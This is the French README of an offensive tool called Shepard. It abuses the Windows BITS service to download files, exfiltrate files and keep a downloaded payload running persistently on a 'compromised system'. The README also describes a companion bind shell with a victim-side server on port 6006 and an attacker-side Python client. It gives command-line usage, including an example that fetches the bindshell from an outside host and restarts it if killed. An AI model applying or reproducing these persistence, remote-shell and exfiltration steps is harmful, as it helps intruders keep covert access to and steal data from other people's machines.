SHEPARD

BITS

C'est un outil de persistance utilisant le service de transfert intelligent en arrière-plan Windows (BITS).

Fonctionnalités

Téléchargement de fichier, Exfiltration de fichier, Téléchargement de fichier + Exécution persistante

Utilisation

Exécutez shepard.exe en tant qu'Administrateur avec les arguments de ligne de commande suivants :

-d <remoteLocation> <writePath> : téléchargement normal de fichier vers un chemin local de votre choix

-e <remoteLocation> <localPath> : envoi normal de fichier depuis un chemin local de votre choix (envoie uniquement vers un serveur IIS, c'est une limitation de BITS)

-dr <remoteLocation> <writePath> [optionalFileArgs] : téléchargement de fichier vers un chemin de votre choix, et tentera de maintenir la persistance. Le fichier téléchargé tentera de s'exécuter avec optionalFileArgs et BITS vérifiera toutes les 30 secondes que le fichier est toujours en cours d'exécution sur le système compromis.

L'exécution de cet exécutable sans argument ou avec un nombre incorrect d'arguments entraînera une sortie propre de shepard.

BINDSHELL

Le serveur (victime) est écrit en C#. Il écoute sur le port 6006.

Utilisation côté victime

Exécutez shepardsbind_serv.exe sans arguments.

Le client (attaquant) est écrit en Python et prend un argument : l'adresse IP de la machine de la victime.

Utilisation côté serveur

shepardsbind_recv.py <victim's IP>

L'exécution de shepardsbind_recv.py sans arguments renverra une erreur.

Utilisation conjointe

Le seul exécutable qui doit se trouver sur la machine de la victime est shepard.exe. Hébergez l'exécutable bindshell à télécharger dans un endroit accessible publiquement. Shepard téléchargera et exécutera l'exécutable bindshell, et l'utilisateur pourra désormais utiliser le récepteur python. Si le shell est détecté et tué, il redémarrera après 30 secondes.

Exemple : shepard.exe -dr http://location.com/shepardsbind_serv.exe C:\Users\Administrator\file.exe